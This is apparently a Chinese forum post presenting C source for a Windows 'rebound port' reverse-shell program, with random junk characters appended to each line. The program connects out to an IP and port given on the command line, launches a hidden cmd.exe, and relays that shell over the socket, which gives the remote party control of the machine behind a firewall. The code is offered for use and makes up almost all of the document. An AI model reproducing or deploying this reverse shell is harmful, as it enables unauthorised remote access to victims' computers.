这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 o(@F37r{?
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/* ============================== 7eg//mL"6
Rebound port in Windows NT 4';tMiz
By wind,2006/7 >, }m=X8
===============================*/ oWUDTio#[
#include {m%X\s;ni
#include XP-4=0 zd
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#pragma comment(lib,"wsock32.lib") 4hv'OEl
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void OutputShell(); M^^u{);q
SOCKET sClient; cIgicp}U
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; OAQ'/{~7
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void main(int argc,char **argv) +>5
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{ $'Hg}|53
WSADATA stWsaData; TGz5t$]I
int nRet; 2O5yS
SOCKADDR_IN stSaiClient,stSaiServer; Aq{m42EAj
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if(argc != 3) f6P5J|'
{ g3%t+>$*
printf("Useage:\n\rRebound DestIP DestPort\n"); }?Y+GT"E
return; VmB/X))
} lA<IcW
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WSAStartup(MAKEWORD(2,2),&stWsaData); P( W8XC
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .W&rcqy
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stSaiClient.sin_family = AF_INET; E
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stSaiClient.sin_port = htons(0); #+eV5%Si
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); wWflZ"%
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1q!6Sny@
{ {hM*h(W~3
printf("Bind Socket Failed!\n"); 7c6-S@L
return; R@0ELxzA
} QE5
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stSaiServer.sin_family = AF_INET; pz^"~0o5
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); viBf".
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2Xgw7`
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) +*
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{ 8X]j;Rb
printf("Connect Error!"); z@ A5t4+3
return; q6{ %vd
} )x"Z$ jIs
OutputShell(); GKPqBi[rO
} /kVy#sT|
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void OutputShell() }~-)31e'`
{ ^ :Q |,oy
char szBuff[1024]; '
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SECURITY_ATTRIBUTES stSecurityAttributes; =k`(!r2"#
OSVERSIONINFO stOsversionInfo; $(}kau
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; DD'<zL[
STARTUPINFO stStartupInfo; (w% hz']
char *szShell; cuquA ~
PROCESS_INFORMATION stProcessInformation; a(8]y.`Tv
unsigned long lBytesRead; mI in'M
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~%Yh`c
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); BoIe<{X(9
stSecurityAttributes.lpSecurityDescriptor = 0; 7XWgY%G
stSecurityAttributes.bInheritHandle = TRUE; uW[s?
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); VkhK2
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [;5HI'px
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); M7,|+W/RK
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +U%lWE%
stStartupInfo.wShowWindow = SW_HIDE; =GM!M@~,Ab
stStartupInfo.hStdInput = hReadPipe; HA"dw2|
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ZLKS4
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GetVersionEx(&stOsversionInfo);
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switch(stOsversionInfo.dwPlatformId) S_2I8G^A
{ e@^}y4
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case 1: .FHOOw1r=
szShell = "command.com"; :@b>,{*4zS
break; a9jY^E'|n
default: p7H*Ff`
szShell = "cmd.exe"; b<.+WkO
break; 'Dk(jpYB
} 'A8T.BU
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ]\r~"*TZ
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send(sClient,szMsg,77,0); S8,+6+_7
while(1) <6L$:vT_
{ \wDOE(>
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); nI_Zk.R
if(lBytesRead) p-KuCobz]
{ _9
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); R#\8jv v
send(sClient,szBuff,lBytesRead,0); n{'
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} -U/&3
else J;T_9
{ q9WSQ$:z8
lBytesRead=recv(sClient,szBuff,1024,0); 5K6_#g4"
if(lBytesRead<=0) break; &
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); s:]rL&|
} H#Og0gEE}5
} V">Uh@[J_
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return; eIqj7UY_
}